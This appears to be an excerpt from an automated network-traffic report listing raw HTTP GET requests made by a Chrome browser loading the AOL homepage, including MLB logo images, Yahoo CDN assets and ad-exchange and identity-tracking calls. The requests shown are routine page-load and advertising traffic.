Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fht6qg4wc_Ijk8ewC5ANZqw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fbraves_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7194e9a47aee36fa884fbecaefb81f1077067a9a HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2s1JVbQT4jK7vnmSdH51yw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190307%2F500x500%2Frays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=878df353f7cafc11bf0dc707a2dea4918f56cd38 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F7K_tu.SMGj_akw2SJ_wa7Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fmariners_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2b8a377cb94691fc5f98ff850b130d1f2ccf1ea3 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2UNZyOQXhKqnd2JRfT26lg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fcubs_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a3b2659666d9421df5229b37996f2ae554b756a4 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rx/ev/builds/1.6.29/pframe.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FU5.SOf.2odBFKvqm19ffnQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190315%2F500x500%2Fdiamondbacks_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=90f04834c13384cadb7ada17976f034e90578534 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FIjw0_3b8a1CMPGSAXMtS8g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fyankees_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=ff1d4fa8605c9733c7da8efc8f7f5acc20916320 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJrvY8puwJEhEpd3DohzHEQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fdodgers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=f234883edd21ac8f45d6b4c4e4a1892c255489be HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FQB5S6jzVrGi9dzZjpgiEiQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Ftigers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=9656c02d98e17ffd3d0b171bf05f51d4062ee06e HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fuf3lXihrOQmBeoYkwwc9Aw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Forioles_wbg.png&client=76f99bdb8f78cd44cc0b&signature=458c85b0633896610d7e3d8d0612912638fe16df HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FuEwpYfoMP9FJDfHYpyaFNA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190402%2F500x500%2Fnationals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=bda6a08982f2e713e93fe0f7e8ba10d39c3c7dc6 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aa/templates/widget/bgImageStickyFooter/main.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooterAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aa/aol/homepage/stickyFooter/adfree/AdFree_SayGoodbyeV2_1x.jpg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooterAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1a HTTP/1.1Host: i.clean.ggConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FXHFwznD4f5UxmqWl6KykpQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fwhitesox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=86515300c6be95bc1e98a2bf808cddea0b19a784 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FCxYOsaj1HyPgJWfNqhuFcw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fbluejays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=7415fbceb2d3013c9826cc01a7c86cbbca97a6ab HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fht6qg4wc_Ijk8ewC5ANZqw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fbraves_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=7194e9a47aee36fa884fbecaefb81f1077067a9a HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eh/prebid-config/bp-aol.json HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FLxlO0KLuFo3kg6l2bdZZRg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190308%2F500x500%2Froyals_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d9246a23914252ddf4d21b2b0e20b22948ac78f2 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F1OsqZ2pFbgTFzAjs10o6yg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20230410%2F500x500%2Fminnesota-twins_wbg.png&client=76f99bdb8f78cd44cc0b&signature=a75a87a3e73c354a94d4b48834cde7d1ee914a2f HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idex/did-004f/any?duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.aol.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx HTTP/1.1Host: idx.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FdS08pSt67NVw1.BHmNGdYg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190328%2F500x500%2Fmets_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=77e9d3cbd4a2236c4ed62b6bed5b225eec89f5a7 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3WQUCMLenaDM.cRUsgzWzQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20191111%2F500x500%2Fcardinals_wbg.png&client=76f99bdb8f78cd44cc0b&signature=67a6d82bcceebe88bd4b4883a6ad9b8de11e7f9a HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F163pPLOqMX8w.fiHFyQ0Gg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20220425%2F500x500%2Fguardians_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2d40aedb20b7b30d4fd350ff1c037f44f154fa19 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FRJqdsmvPI2DpLTYPUshLNg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fangels_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6d0bf376e1ce270abc491aed69fa3726a3f97fad HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1716503691207&did=did-004f&se=e30&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&tv=8.37.0&pu=https%3A%2F%2Fwww.aol.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&gpp_s=DBAA&gpp_as=-1&cd=.aol.com HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=8.37.0&p=%5B%7B%22placement_id%22%3A%22MON_top_right_0%22%2C%22callback_id%22%3A%22328371703799539%22%2C%22sizes%22%3A%5B%5B300%2C600%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A1.41%7D%2C%7B%22placement_id%22%3A%22LREC_top_right_1%22%2C%22callback_id%22%3A%2233c28b52a09eff9%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A0.67%7D%2C%7B%22placement_id%22%3A%22LREC_top_right_2%22%2C%22callback_id%22%3A%2234139ae8a4c1d5f%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A0.43%7D%2C%7B%22placement_id%22%3A%22mid_center%22%2C%22callback_id%22%3A%22358e47f8beac546%22%2C%22sizes%22%3A%5B%5B970%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A0.93%7D%5D&page_url=https%3A%2F%2Fwww.aol.com%2F&bust=1716503691074&dnt=false&description=Discover%20the%20latest%20breaking%20news%20in%20the%20U.S.%20and%20around%20the%20world%20%E2%80%94%20politics%2C%20weather%2C%20entertainment%2C%20lifestyle%2C%20finance%2C%20sports%20and%20much%20more.&tmax=2000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22DBAA%22%2C%22gpp_sid%22%3A%5B-1%5D%7D&us_privacy=1YNN&pr=&scrd=1&title=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&w=1280&h=907 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
